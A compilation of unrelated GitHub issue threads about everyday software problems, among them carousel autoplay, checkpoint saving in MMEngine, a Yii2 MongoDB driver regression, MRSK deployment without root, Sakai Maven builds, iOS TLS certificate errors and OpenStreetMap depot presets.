Add basic arousel implementation and try and set autoPlayReverse prop
Expected behavior
Expect autoPlayReverse to work as autoPlay does (but in reverse).
Screenshots
If applicable, add screenshots to help explain your problem.
Versions (please complete the following information):

react: v18.2.0
react-native: v0.73.6
react-native-reanimated: v3.8.1
react-native-reanimated-carousel: v3.5.1
react-native-gesture-handler: v2.16.0

Smartphone (please complete the following information):

Device: iPhone15
OS: iOS17.4

Setting both props at the same time works for me. So if you want reverse carousel you have to add autoPlayReverse prop
in addition to autoPlay, not replace it.
      <Carousel         autoPlay         autoPlayReverse ... />


How to save the best checkpoints according to val results

Branch
1.x branch (1.0.0rc2 or other 1.x version)
Describe the feature
hi，how to save only the optimal weight file, not every epoch? I am using the  dev 1.x branch.
Will you implement it?

[ ] I would like to implement this feature and create a PR!

default_hooks = dict(
    # save last three checkpoints
    checkpoint=dict(
        type='CheckpointHook',
        save_best='auto',    # svae the best, auto select the `Accuracy` to the first  metric in val_evalutor
        interval=1,
        max_keep_ckpts=3,  # only save the  latest 3 ckpts
        rule='greater'            # the greater the metric, the better the ckpt will be
)
)

For more details, refer to MMEngine Tutorial and API doc.

Hello, when I modified the default_hooks inside runner.py, I still can't save the optimal weights, nothing has changed, where do I have to modify?

do you have this kind of dir?

Hello, I have not received this type of file. But when I used version 0.x, I could get the file with unique weights directly. With the current version this is no longer the case. Here is a comparison between the old and the new version

check your configuration in your log.

If it doesn't work, then it's not in effect

Hello, I noticed that default_hooks did not change, but I changed the checkpoint in runner.py. Am I in the wrong place? I don't think there is anything to change in config.py or train.py

can you show your config?

add this in the file.
default_hooks = dict(
    # save last three checkpoints
    checkpoint=dict(
        type='CheckpointHook',
        save_best='auto',    # svae the best, auto select the `Accuracy` to the first  metric in val_evalutor
        interval=1,
        max_keep_ckpts=3,  # only save the  latest 3 ckpts
        rule='greater'            # the greater the metric, the better the ckpt will be
)
)

It works! thanks a lot!

I have a similar question, how to automatically select the checkpoint corresponding to the best val metric for inference on the test set?


[structure] Label

[ ] file path?
[x] start pos
[x] end pos
[x] message

Make label owns file has a big benefit is aggregating hints from different files, for example:
[E0001]: type mismatching
main.cc:3:20
3 |   parse_string<int>(1);
  |                     ^ cannot use `int` as `std::string`
parse.cc:2:27
2 | T parse_string(std::string s) {
  |                            ^ `s` is a `std::string`
=> expected type `std::string`, found type `int`

Also, adjust the argument, give line, from, and to a tag.


bpm pre-start question

If I reboot vm, bpm pre-start will not be run and cgroup will not be mounted?

Hey @marcus-sds,
Thanks for bringing this to our attention. This is definitely an issue.
I've spoken with @xoebus and we think there might be a path forward by moving this check/functionality into the bpm binary itself.
Best,
@jfmyers9


⚠ Jellyfin has degraded performance

In d839f4b, Jellyfin (https://jellyfin.underthere.xyz) experienced degraded performance:

HTTP code: 502
Response time: 18701 ms

Resolved: Jellyfin performance has improved in 738a729 after 4 minutes.


Final version of footer

Final version of footer. Should include at least guild's contact information, social media links and partners' logos with links to their websites.

MVP merged in #28, closing...


Windows Server 2019 support

Windows Server 2019 latest version has dark theme for Windows Explorer and applications as Windows 10. Please add support if possible.

Tested, it works fine.


Need an AMI option that automatically installs latest versions of CUDA and deep learning frameworks

The Deep Learning AMI has fixed versions of CUDA , Tensorflow, PyTorch, and MxNet. Need an AMI option in the CloudFormation template that starts with Ubuntu Pro AMI from AWS and automatically installs the latest version of CUDA , Tensorflow, PyTorch, and MxNet.

Hash commit f938bce7f9389325252cb6c9685d59beaf42a1d8 resolves this issue.
Added a CloudFormation template parameter to select the AMI type: AWS Deep Learning AMI (Ubuntu 18.04), or Ubuntu Pro 20.04 LTS. If Ubuntu Pro is selected, CUDA, Tensorflow, Pytorch, and MxNet are installed via cloud init script.


Dark Souls Remastered DS not working

Dark Souls Remastered DS4 not working with emulation of dualshock

#654
This Jay2Kings/DS4Windows site is obsolete and out-dated. You should take a look at the Ryochan7/DS4Windows instead for more recent version.


out_forward: Support dns round robin

I want to support DNS round robin.
Ruby's Socket.pack_sockaddr_in or Resolv.getaddress or IPSocket.getaddress, and so on does not support DNS round robin. To do it, we have to Resolv.getaddresses(hostname).shuffle!.first.
This code still works on non dns round robin environment, so I did not add any new options.
EDIT: Writing tests is difficult because we need to set up a DNS round robin environment, but existing tests passed, and I verified this works manually.

You can use Array#sample for Ruby 1.9.3+. (note that current fluentd master is Ruby 1.9.3+)
Also Ruby has a getaddrinfo(3) wrapper, Socket#getaddrinfo.
Therefore you can write as Socket.getaddrinfo(@host, @port).sample[3]

Thanks, using Socket#getaddrinfo is less expensive, I will use it.

fixed

Thanks for reviewing!
Ruby has several host to IP convert approaches so this is very helpful.

Anyway as far as I understand, getaddrinfo(3) returns results by suitable order referring RFC6724. Therefore this feature shouldn't be default, and simply use IPSocket.getaddress seems correct.
Even though you want to do round robin for some reason (I know DeNA uses it), Socket.getaddrinfo(@host, @port, nil, Socket::SOCK_STREAM).sample[3] or Socket.getaddrinfo(@host, @port, Socket::AF_INET, Socket::SOCK_STREAM).sample[3] to reject IPv6 addresses.

In this case, Socket.getaddrinfo(@host, @port, nil, Socket::SOCK_STREAM).sample[3]  seems better for me.
I'm not sure we should specify address family. If so, we should use AF_INET6 for IPv6 address.

Okay, committed > https://github.com/fluent/fluentd/commit/cbfa7438cd052c54b18b1fc3d0d3c28427b086bb

Thanks!
If someone hit the IPv4/IPv6 problem, we will add AF_INET/AF_INET6 to getaddrinfo.


Does this work support compression and acceleration for mt0-xl or gpt model?

Hi, thanks for sharing the great work.
I'm wondering if this work supports compression and acceleration for mt0-xl or gpt model?
If not currently, do you have plan to support these models? How can I transfer this work to support these models? Could you please give some advice?
For example:
https://huggingface.co/bigscience/mt0-xl
https://huggingface.co/nvidia/nemo-megatron-mt5-3B
https://huggingface.co/nvidia/nemo-megatron-gpt-5B

Hi, thanks for the interests in our work! It should theoretically support different LLM designs, but we need to implement the support (just a few lines of code). Please refer to awq/quantize/pre_quant.py and awq/quantize/auto_scale.py

@tonylins Thanks.
When I install the efficient W4A16 CUDA kernel with python setup.py install, it requires -std=c++14 instead of -std=c++17 to be set in setup.py.
extra_compile_args = {
    "cxx": ["-g", "-O3", "-fopenmp", "-lgomp", "-std=c++14"],
    "nvcc": ["-O3", "-std=c++14", "-keep"],
}

However, it also failed with the errors when using -std=c++14.  Could you please give some advice?
/usr/local/anaconda3/envs/awq/lib/python3.10/site-packages/torch/include/torch/csrc/api/include    /torch/nn/cloneable.h:58:59: error: invalid static_cast from type ‘const torch::OrderedDict<std::basic_strin    g<char>, at::Tensor>’ to type ‘torch::OrderedDict<std::basic_string<char>, at::Tensor>&’
/usr/local/anaconda3/envs/awq/lib/python3.10/site-packages/torch/include/torch/csrc/api/include    /torch/nn/cloneable.h:71:61: error: invalid static_cast from type ‘const torch::OrderedDict<std::basic_strin    g<char>, std::shared_ptr<torch::nn::Module> >’ to type ‘torch::OrderedDict<std::basic_string<char>, std::sha    red_ptr<torch::nn::Module> >&’


Undefined Variable in BatchQueryResult with ModgoDB

Using yii2-mongodb and Yii2 <IP_ADDRESS>
What steps will reproduce the problem?
Promo::find();
$promo_query->where(['status' => 1, 'id' => $promo_ids]);
foreach($promo_query->each() as $promo){
$promos[$promo->id] = $promo;
}
What is the expected result?
return Model
What do you get instead?
Undefined variable: row in
/var/www/bileter/bileter.ru/vendor/yiisoft/yii2-mongodb/src/BatchQueryResult.php:150
Additional info

Q
A

Yii version
<IP_ADDRESS>

PHP version
7.4.13

Operating system
Debian 10

I dont understand how it be possible
$row = $this->_iterator->current();
if ($row === null) {
break;
}
and how $row may be not undefined. But this
$row = $this->_iterator->current();
if (empty($row)) {
break;
}
`
fix the problem

I dont understand how it be possible
$row = $this->_iterator->current();
if ($row === null) {
break;
}

and how $row may be not undefined. But this
$row = $this->_iterator->current();
if (empty($row)) {
break;
}

fix the problem

I have same issue get totally confused

@Dimetriy is it possible to identify the change that causes this issue?

@bizley i dont know. I update Yii2 from 2.0.38 to latest stable version and php from 7.4.11 to 7.4.13

yii2-mongodb is 2.1.10 in both cases?

@bizley No. Before update version 2.1.9

Hmm, could you downgrade yii2-mongodb to 2.1.9 and keep the Yii 2 with latest version to check which package is causing it?

@bizley I downgrade yii2-mongodb to 2.1.9 and i  still get this error. Yii <IP_ADDRESS> + yii2-mongodb 2.1.9

Ok, thanks, looks like it's Yii 2 main package problem.

@bizley New info. I downgrade Yii to 2.0.38 and still get this error on php-fpm 7.4.13.
Now I will rebuild for an earlier version PHP. 7.4.11 and 7.4.12

@bizley I try to downgrade php. On php 7.4.10 + Yii <IP_ADDRESS> all works, but from version php 7.4.1 all crashes with this error with any version Yii2

Oh, that is a surprise... Thank you for that investigation, it definitely helps.
Is your MongoDb PHP driver up to date?

@bizley php mongodb drivers installing in docker container via Dockerfile and  I think they are updating.
 Anyway I'll need help with this one.

php 7.4.10
/usr/local/etc/php/conf.d/docker-php-ext-mongodb.ini,
mongodb
libmongoc bundled version => 1.17.0
libmongoc SSL => enabled
libmongoc SSL library => OpenSSL
libmongoc crypto => enabled
libmongoc crypto library => libcrypto
libmongoc crypto system profile => disabled
libmongoc SASL => disabled
libmongoc ICU => enabled
libmongoc compression => enabled
libmongoc compression snappy => disabled
libmongoc compression zlib => enabled
libmongoc compression zstd => disabled
libmongocrypt bundled version => 1.0.4
libmongocrypt crypto => enabled
libmongocrypt crypto library => libcrypto
mongodb.debug => no value => no value

PHP 7.4.13
/usr/local/etc/php/conf.d/docker-php-ext-mongodb.ini,
mongodb
libmongoc bundled version => 1.17.2
libmongoc SSL => enabled
libmongoc SSL library => OpenSSL
libmongoc crypto => enabled
libmongoc crypto library => libcrypto
libmongoc crypto system profile => disabled
libmongoc SASL => disabled
libmongoc ICU => enabled
libmongoc compression => enabled
libmongoc compression snappy => disabled
libmongoc compression zlib => enabled
libmongoc compression zstd => disabled
libmongocrypt bundled version => 1.0.4
libmongocrypt crypto => enabled
libmongocrypt crypto library => libcrypto
mongodb.debug => no value => no value

@bizley I try more options and build and i see this problem. Yii crashes in any version of PHP with latest version of MongoDB driver 1.9.0 and 1.9.0RC1. With previously driver version 1.8.9 all work with all versions of PHP.
In changelog mongodb driver i see
** New Feature
* [PHPC-1691] - Iterator implementation for MongoDB\Driver\Cursor

I update my Dockerfile with
RUN pecl install mongodb-1.8.2 && docker-php-ext-enable mongodb

and problem was gone. But its a problem =)

Ah, yes, the same was already reported here https://github.com/yiisoft/yii2-mongodb/issues/327

Looks like I fixed it (at least I hope I did). Please take a look at linked issue.


[T2A2][F12-A4]Huynh Van Tu An

Refactored:

SLAP for main method
Magic numbers for processProgramArgs method
isDisplayIndexValidForLastPersonListingView to isIndexValid
extractTargetIndexFromDeletePersonArgs to getDeletePersonArgs
isPersonDataExtractableFrom to isPersonDataExtractable
removePrefixSign to removePrefix method that removes only the prefix of the input if it matches the sign

Ready for review

@arishuynhvan appreciate the fact that you have made multiple commits one per change :+1:
some comments added, please take a look. please ack and close the pull request.


feat(lib): Make historyTimeToLive optional

Related to https://github.com/camunda/camunda-modeler/issues/3869, https://github.com/camunda/camunda-modeler/issues/4062

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Superseded by https://github.com/camunda/linting/pull/100


feat: set fallback when not connected to ws server

will try this locally in a different application and if it works, I guess we will be able to release a follow-up to npm.


[ WARN] [1706283012.687423712]: MSG to TF: Quaternion Not Properly Normalized

Hello friends, I am trying to mapping with VLP-16 and BNO055 sensor by DFrobots " https://www.dfrobot.com/product-1793.html "
My output is not like I expected .
I use http://wiki.ros.org/ros_imu_bno055 package to obtain IMU data and default velodyne package for VLP16
roslaunch-hasan-73798.log
rosout.log
ros_imu_bno055_node-1.log
master.log

How can I get proper Map result, I think I have miss Integrated IMU with LIDAR.

It may be that your data is wrong, causing the acc bias to exceed 1. This error was reported after imu bias was reset.


Force URL to non canonical

ie: url(page, false)
ref: https://github.com/PHPoole/library/blob/2be6cda156ed70a2d711f5ffbe8965305d6880a8/src/Renderer/Twig/Extension.php#L248

Fixed by #367.


Allow to prefix commands with sudo

In a clean installation of an OVH Cloud instance, the default user is ubuntu and not root, so to install dependencies or run Docker commands, they need to use sudo.

You can set the ssh/user to deal with this: https://github.com/mrsked/mrsk#using-a-different-ssh-user-than-root

@dhh not works!
For example I already set in config
ssh:
  user: ubuntu

$ mrsk deploy

  INFO [77b68fda] Running which curl on <IP>
  INFO [77b68fda] Finished in 1.605 seconds with exit status 0 (successful).
  INFO [2db07bfc] Running which docker on <IP>
  INFO [2db07bfc] Finished in 0.206 seconds with exit status 1 (failed).
  INFO [467a0383] Running apt-get update -y && apt-get install docker.io -y on <IP>
  Finished all in 8.4 seconds
  ERROR (SSHKit::Command::Failed): apt-get update -y && apt-get install docker.io -y exit status: 100
apt-get update -y && apt-get install docker.io -y stdout: Reading package lists...
apt-get update -y && apt-get install docker.io -y stderr: E: Could not open lock file /var/lib/apt/lists/lock - open (13: Permission denied)
E: Unable to lock directory /var/lib/apt/lists/
W: Problem unlinking the file /var/cache/apt/pkgcache.bin - RemoveCaches (13: Permission denied)
W: Problem unlinking the file /var/cache/apt/srcpkgcache.bin - RemoveCaches (13: Permission denied)

But this user != root user, so you need to prefix the apt or docker commands with sudo to get privileged access.
For using docker without sudo, you could add the user ubuntu to the docker group to be able to run the command without privileges, but this is not possible for running apt which is used in the initial configuration of the server with the mrsk server bootstrap command.
Possible solutions are:

Support the use of sudo for apt and docker and use them based on a flag in the configuration.
The user has to have docker and curl installed on the system to prevent mrsk from trying to install them automatically and added the user to the docker group so that docker can be run without using sudo. A notice should be added to the README.

Ah, I see what you mean. I think we're probably better off just documenting this, and then saying that if you want to use MRSK without root, you have to do the bootstraping of installing docker.io and curl yourself. Do add a doc PR for that!


Update library\pom.xml

while building sakai using the command mvn clean install,  the following error occurs :

[ERROR] Failed to execute goal com.samaxes.maven:minify-maven-plugin:1.7.6:minify (default-minify) on project library: Unable to parse configuration of mojo com.samaxes.maven:minify-maven-plugin:1.7.6:minify for parameter jsSourceIncludes: Cannot assign configuration entry 'jsSourceIncludes' with value '.js' of type java.lang.String to property of type java.util.ArrayList -> [Help 1]
org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal com.samaxes.maven:minify-maven-plugin:1.7.6:minify (default-minify) on project library: Unable to parse configuration of mojo com.samaxes.maven:minify-maven-plugin:1.7.6:minify for parameter jsSourceIncludes: Cannot assign configuration entry 'jsSourceIncludes' with value '.js' of type java.lang.String to property of type java.util.ArrayList

For fixing the above error , i have removed the line - <jsIncludes>*.js</jsIncludes>
and added all .js files within the <jsSourceFiles> tag as given below :

<jsSourceFiles>          <jsSourceFile>sakai.morpheus.authz.js</jsSourceFile>										           <jsSourceFile>sakai.morpheus.bullhorns.js</jsSourceFile>          <jsSourceFile>sakai.morpheus.chat.js</jsSourceFile>          <jsSourceFile>sakai.morpheus.connection-manager.js</jsSourceFile>          <jsSourceFile>sakai.morpheus.footer.js</jsSourceFile> 	  <jsSourceFile>sakai.morpheus.i18n.utils.js</jsSourceFile>										            <jsSourceFile>sakai.morpheus.keyboard.sortable.js</jsSourceFile>							             <jsSourceFile>sakai.morpheus.more.sites.js</jsSourceFile>										             <jsSourceFile>sakai.morpheus.profile.popup.js</jsSourceFile>										             <jsSourceFile>sakai.morpheus.publish.site.js</jsSourceFile>										             <jsSourceFile>sakai.morpheus.quicklinks.js</jsSourceFile>										             <jsSourceFile>sakai.morpheus.reorderer.js</jsSourceFile>										             <jsSourceFile>sakai.morpheus.responsive.menus.js</jsSourceFile>            <jsSourceFile>sakai.morpheus.session.js</jsSourceFile>            <jsSourceFile>sakai.morpheus.short.url.js</jsSourceFile>            <jsSourceFile>sakai.morpheus.skipnav.js</jsSourceFile>            <jsSourceFile>sakai.morpheus.subnav.js</jsSourceFile>            <jsSourceFile>sakai.morpheus.toggletools.js</jsSourceFile>            <jsSourceFile>sakai.morpheus.update.presence.js</jsSourceFile>            <jsSourceFile>sakai.morpheus.usernav.js</jsSourceFile> 	    <jsSourceFile>sakai.morpheus.utils.js</jsSourceFile>             <jsSourceFile>sakai.morpheus.xlogin.js</jsSourceFile> </jsSourceFiles>

What version of maven are you running? The current poms work fine for me on Maven 3.6.0.

Unmodified pom is working fine in our servers, no need to upgrade.

Hello Adrian / Eduardo,
I have tried with Maven 3.2.5 as mentioned in "Technical environment for nightlies:" section of "Quick Start from Source" (URL : https://github.com/sakaiproject/sakai/wiki/Quick-Start-from-Source ).
So i was getting the error mentioned in my post.
Now as you have mentioned,  i upgraded Maven to 3.6.1 and  tried to build.
Now i am able to successfully build Sakai without any issues.
Thank You
With Regards
Santhanam

Thanks @Santhanam, I'm going to update wiki information.

@SedueRey I'd just started doing that, but I'll leave it to you if you want. The 10 information should come out - we don't run a 10 nightly any longer.
@Santhanam Thanks for pointing that out and sorry for your time being wasted on these PRs :(

@adrianfish I've just modified maven version. If you've got more information to add, feel free to do it. Thanks a lot.


Support for RTX 3090 by targeting Cuda 11 or newer.

In my previous ticket #17 I just realized that I can't run this project. I've ran other Cuda 11 projects and just assumed I could downgrade and run old projects, but that doesn't appear to be the case. Seems like all Tensorflow 1.14 projects don't run. This might be asking a lot (not sure the number of changes) but could this project be updated to work with the newest Tensorflow and Cuda or at least Cuda 11 compatible versions.

This would be a great feature.


[feature] Add support for BECS direct debit in store and purchase with Stripe

This will add support for BECS Direct Debit payments for Stripe gateway

remote tests for purchase:

remote tests for store:


Errors connecting the iOS SDK with MBaaS: "The certificate for this server is invalid"

Hi there! Thanks so much for this great project and service setup!
We're running into some problems with the final step of connecting the MBaaS with the iOS SDK. We created a Hyper Protect DBaas and a Hyper Protect Virtual Server and then followed the lab that IBM had during IBM Think 2020.
We couldn't get external messages to access port 3000. No matter what iptable changes I made, the port could not be accessed externally through cURL, iOS, or a browser. It could be accessed through localhost. nmap scans also showed an open port when local but port closure when external.
I realize the code is a little different than when the lab was made, so I tried to go direct through this repo. Ultimately, we are able to access the server through our browsers by visiting https://{HPVS Public IP}:3000, trusting the website, and we see
CareKit Backend SDK is running!
::ffff:{My Public IP} - GET / HTTP/1.1 200 22 - 1.867 ms

on the npm start terminal so the API is remotely accessible!
However it seems the SSL Cert that the server sends out is not trusted by the phone and thus we are having issues connecting to the API through the iOS SDK.
Error when connecting using https:
"GET CALLED"
"SENDING KV JSON {\"processes\":[{\"id\":\"E1C31998-F12F-47B9-A6E1-2677733AF02C\",\"clock\":0}]}"
https://{HPVS Public Key}:3000/revisionRecord?knowledgeVector=%7B%22processes%22:%5B%7B%22id%22:%22E1C31998-F12F-47B9-A6E1-2677733AF02C%22,%22clock%22:0%7D%5D%7D
Failed to automatically synchronize. Sync failed: Already busy synchronizing!
2020-05-28 11:39:01.480972-0700 CareKitHyperProtectSample[6835:2422114] Connection 1: default TLS Trust evaluation failed(-9807)
2020-05-28 11:39:01.485506-0700 CareKitHyperProtectSample[6835:2422114] Connection 1: TLS Trust encountered error 3:-9807
2020-05-28 11:39:01.485563-0700 CareKitHyperProtectSample[6835:2422114] Connection 1: encountered error(3:-9807)
2020-05-28 11:39:01.488539-0700 CareKitHyperProtectSample[6835:2422114] Connection 1: unable to determine interface type without an established connection
2020-05-28 11:39:01.511742-0700 CareKitHyperProtectSample[6835:2422114] Task <E27E24C5-4606-4FF3-8228-89B14A286DD6>.<1> HTTP load failed, 0/0 bytes (error code: -1202 [3:-9807])
2020-05-28 11:39:01.521685-0700 CareKitHyperProtectSample[6835:2422114] Task <E27E24C5-4606-4FF3-8228-89B14A286DD6>.<1> finished with error [-1202] Error Domain=NSURLErrorDomain Code=-1202 "The certificate for this server is invalid. You might be connecting to a server that is pretending to be "{HPVS Public Key}" which could put your confidential information at risk." UserInfo={NSURLErrorFailingURLPeerTrustErrorKey=<SecTrustRef: 0x28079def0>, NSLocalizedRecoverySuggestion=Would you like to connect to the server anyway?, _kCFStreamErrorDomainKey=3, _kCFStreamErrorCodeKey=-9807, NSErrorPeerCertificateChainKey=(
    "<cert(0x11a10c000) s: {HPVS Public Key} i: {HPVS Public Key}>"
), NSUnderlyingError=0x283b2c9c0 {Error Domain=kCFErrorDomainCFNetwork Code=-1202 "(null)" UserInfo={_kCFStreamPropertySSLClientCertificateState=0, kCFStreamPropertySSLPeerTrust=<SecTrustRef: 0x28079def0>, _kCFNetworkCFStreamSSLErrorOriginalValue=-9807, _kCFStreamErrorDomainKey=3, _kCFStreamErrorCodeKey=-9807, kCFStreamPropertySSLPeerCertificates=(
    "<cert(0x11a10c000) s: {HPVS Public Key} i: {HPVS Public Key}>"
)}}, NSLocalizedDescription=The certificate for this server is invalid. You might be connecting to a server that is pretending to be "{HPVS Public Key}" which could put your confidential information at risk., NSErrorFailingURLKey=https://{HPVS Public Key}:3000/revisionRecord?knowledgeVector=%7B%22processes%22:%5B%7B%22id%22:%22E1C31998-F12F-47B9-A6E1-2677733AF02C%22,%22clock%22:0%7D%5D%7D, NSErrorFailingURLStringKey=https://{HPVS Public Key}:3000/revisionRecord?knowledgeVector=%7B%22processes%22:%5B%7B%22id%22:%22E1C31998-F12F-47B9-A6E1-2677733AF02C%22,%22clock%22:0%7D%5D%7D, NSErrorClientCertificateStateKey=0}
"Optional(Error Domain=NSURLErrorDomain Code=-1202 \"The certificate for this server is invalid. You might be connecting to a server that is pretending to be "{HPVS Public Key}" which could put your confidential information at risk.\" UserInfo={NSURLErrorFailingURLPeerTrustErrorKey=<SecTrustRef: 0x28079def0>, NSLocalizedRecoverySuggestion=Would you like to connect to the server anyway?, _kCFStreamErrorDomainKey=3, _kCFStreamErrorCodeKey=-9807, NSErrorPeerCertificateChainKey=(\n    \"<cert(0x11a10c000) s: {HPVS Public Key} i: {HPVS Public Key}>\"\n), NSUnderlyingError=0x283b2c9c0 {Error Domain=kCFErrorDomainCFNetwork Code=-1202 \"(null)\" UserInfo={_kCFStreamPropertySSLClientCertificateState=0, kCFStreamPropertySSLPeerTrust=<SecTrustRef: 0x28079def0>, _kCFNetworkCFStreamSSLErrorOriginalValue=-9807, _kCFStreamErrorDomainKey=3, _kCFStreamErrorCodeKey=-9807, kCFStreamPropertySSLPeerCertificates=(\n    \"<cert(0x11a10c000) s: {HPVS Public Key} i: {HPVS Public Key}>\"\n)}}, NSLocalizedDescription=The certificate for this server is invalid. You might be connecting to a server that is pretending to be "{HPVS Public Key}" which could put your confidential information at risk., NSErrorFailingURLKey=https://{HPVS Public Key}:3000/revisionRecord?knowledgeVector=%7B%22processes%22:%5B%7B%22id%22:%22E1C31998-F12F-47B9-A6E1-2677733AF02C%22,%22clock%22:0%7D%5D%7D, NSErrorFailingURLStringKey=https://{HPVS Public Key}:3000/revisionRecord?knowledgeVector=%7B%22processes%22:%5B%7B%22id%22:%22E1C31998-F12F-47B9-A6E1-2677733AF02C%22,%22clock%22:0%7D%5D%7D, NSErrorClientCertificateStateKey=0})"
Failed to automatically synchronize. The operation couldn't be completed. (IBMHyperProtectSDK.HTTPStatusCode error 444.)

Error when connecting using http:
2020-05-28 11:39:36.217619-0700 CareKitHyperProtectSample[6838:2422511] Task <27840E92-3C7F-4ECA-B16F-8A418D87A613>.<1> finished with error [-1005] Error Domain=NSURLErrorDomain Code=-1005 "The network connection was lost." UserInfo={NSUnderlyingError=0x283678d20 {Error Domain=kCFErrorDomainCFNetwork Code=-1005 "(null)" UserInfo={NSErrorPeerAddressKey=<CFData 0x281bd14a0 [0x1de4df718]>{length = 16, capacity = 16, bytes = 0x10020bb8a93fd4360000000000000000}, _kCFStreamErrorCodeKey=-4, _kCFStreamErrorDomainKey=4}}, NSErrorFailingURLStringKey=http://{HPVS Public Key}:3000/revisionRecord?knowledgeVector=%7B%22processes%22:%5B%7B%22id%22:%2238B16AB4-C867-404B-8649-D2F41D364733%22,%22clock%22:0%7D%5D%7D, NSErrorFailingURLKey=http://{HPVS Public Key}:3000/revisionRecord?knowledgeVector=%7B%22processes%22:%5B%7B%22id%22:%2238B16AB4-C867-404B-8649-D2F41D364733%22,%22clock%22:0%7D%5D%7D, _kCFStreamErrorDomainKey=4, _kCFStreamErrorCodeKey=-4, NSLocalizedDescription=The network connection was lost.}
"Optional(Error Domain=NSURLErrorDomain Code=-1005 \"The network connection was lost.\" UserInfo={NSUnderlyingError=0x283678d20 {Error Domain=kCFErrorDomainCFNetwork Code=-1005 \"(null)\" UserInfo={NSErrorPeerAddressKey=<CFData 0x281bd14a0 [0x1de4df718]>{length = 16, capacity = 16, bytes = 0x10020bb8a93fd4360000000000000000}, _kCFStreamErrorCodeKey=-4, _kCFStreamErrorDomainKey=4}}, NSErrorFailingURLStringKey=http://{HPVS Public Key}4:3000/revisionRecord?knowledgeVector=%7B%22processes%22:%5B%7B%22id%22:%2238B16AB4-C867-404B-8649-D2F41D364733%22,%22clock%22:0%7D%5D%7D, NSErrorFailingURLKey=http://{HPVS Public Key}:3000/revisionRecord?knowledgeVector=%7B%22processes%22:%5B%7B%22id%22:%2238B16AB4-C867-404B-8649-D2F41D364733%22,%22clock%22:0%7D%5D%7D, _kCFStreamErrorDomainKey=4, _kCFStreamErrorCodeKey=-4, NSLocalizedDescription=The network connection was lost.})"
Failed to automatically synchronize. The operation couldn't be completed. (IBMHyperProtectSDK.HTTPStatusCode error 444.)

We also are wondering if the app itself needs to provide a certificate. The curl validation and npm test you provide all include a cert but we aren't positive if this is necessary when on the app or if that is somehow built in to the iOS SDK.
We have tried adding the cert as a profile and tried changing the NSExceptionAllowsInsecureHTTPLoads flag to reduce https cert requirements but no success yet. This was an attempt to respond to this part of the https error:
NSLocalizedRecoverySuggestion=Would you like to connect to the server anyway?

Any help would be much appreciated and thanks in advance. It's probably a silly error on our part but we really cannot figure out how to get the connection through the iOS SDK.
Anthony

Hello, I'm on the same team as Anthony, and we figured out how to fix the issue! I was able to attach the cert file to the authentication challenge that gets thrown back, but I had to make some modifications to the SDK. Namely, instead of using a URLSession.shared instance of URLSession, I had to create a new URLSession using a default configuration that accepts a URLSessionDelegate. Once a delegate is passed in, one can handle the challenge callback and complete it with the carekit-root certificate file. I'm going to create a pull request on the iOS SDK repo so that developers have the ability to add a delegate to the URLSession.


:memo:Write doc for room-invitation module

There are some modules not adding sample code, can you implement it refer to the existing codebase?

Ok, I'll add some sample code to it

waiting for your new commit.


TypeError: buttons[button].shadowRoot is null

Version of HACS

0.12.1
Describe the bug
The following error is appearing in the log:
https://<IP_ADDRESS>:8123/community_plugin/compact-custom-header/compact-custom-header.js:446:1 TypeError: buttons[button].shadowRoot is null

I do no have the button card installed. I did but that was a while ago.
Debug log

As per the bug description.

This is not an issue with HACS, but with CCH.

Ugh. Sorry. Doing too many things at once.


Add preset for landuse=salt_pond

Description
Hi,
on ID, when we choose landuse:salt_pond, there is no translation in french.
Probably because when I go to transifex, salt_pond is missing
Could you add it ?
Best regards
edit on 21 Dec 2021 =
because this issue is still open and I found another 'landuse' missing, I add this request.
We don't have either in transifex "landuse=depot" so no translation in ID.
Could you add it too ?
Thanks.

I would be strongly against landuse-depot
This tag is frequently used to everything that can be called depot including tram depots, warehouses, container depots, bus depots, aircraft boneyards, areas for storage of produced vehicles and more. Such mix of features in one tag is not really useful, and most of them are well covered by existing tags.
See also https://github.com/gravitystorm/openstreetmap-carto/issues/3480 https://github.com/gravitystorm/openstreetmap-carto/issues/2989 https://github.com/gravitystorm/openstreetmap-carto/issues/1716 (all are "Add rendering for landuse=depot")

According to taginfo, the key "depot" is used with the value "bus" 819 times. Next value is "container", only 158 times and the next one (tram) only 74 times.
So if we want to talk about depot, we should look at depot=bus.
Bus are big, buildings cost money, so a lot of areas for bus are open spaces.
There are 2 possibilities for areas with buses :

it is a place for companies that build buses. They store their buses before to sell them : this area clearly is an industrial area
it is a place for companies using buses as a service, they store their buses at night because not using them : a service company should use the key "commercial", this area is clearly a commercial area.

The areas of the first kind are very few in the world : there are few companies that build buses and each company has very few places where they build and store their buses.
But the second kind is huge : almost all medium and big cities have a transportation company and all have to put their buses somewhere at night.
It means that (if I use alternative tags) industrial=depot should be a very small number and commercial=depot should be a big one in osm.
In taginfo, it is the exact opposite (more than 3,000 for industrial, less than 50 for commercial) !
I see several reasons for that :

because of the wiki page for industrial=depot : it is clearly a bad definition, the page talks about commercial=depot and not about industrial=depot
because of the wiki page for commercial=depot : there is no page.
when I use "landuse=commercial+commercial=depot" I have in ID "commercial area" = when I see that, I try to find something else for my depot of buses
when I use "landuse=industrial+industrial=depot" I have in ID "industrial area" = when I see that, I try to find something else for my depot of buses
if I search "depot" in ID or another word like storage, store, warehouse... I never find something which fit with a depot for buses (but sometimes I find very strange tags. Maybe the funniest = with "depot" we find "psychotherapist" ?!)

Some other informations. When I look for "depot=bus" (819 items with these tags according to taginfo) with overpass, I find today :

481 landuse=depot
238 industrial=depot (or bus_depot)
43 building=yes, depot, garage, commercial or industrial
25 commercial=depot or similar
18 amenity=parking
15 landuse=garages
15 amenity=bus_depot, bus garages, bus station, depot

According of what I read in the links you put, the winner should be commercial=depot but it is not what we find in osm.
Somewhere I read that osm was what contributors put in it.
Some use industrial=depot because of the bad wiki page. Without these bad informations, probably everybody will use landuse=depot.
Conclusion :

osm is what contributors put in it
contributors, when using "depot", it is for a bus depot
contributors, when using depot=bus, use first landuse=depot, sometimes landuse=industrial but it is probably an error because of the wiki page

You are right when you say that landuse=depot could be used with a lot of different kinds of depot. Is it really a problem ? There are many different things for natural=water, for natural=wetland. We use water= or wetland= to be more specific. So why not for landuse=depot ?
A preset for landuse=depot seems to me the best choice.
Best regards

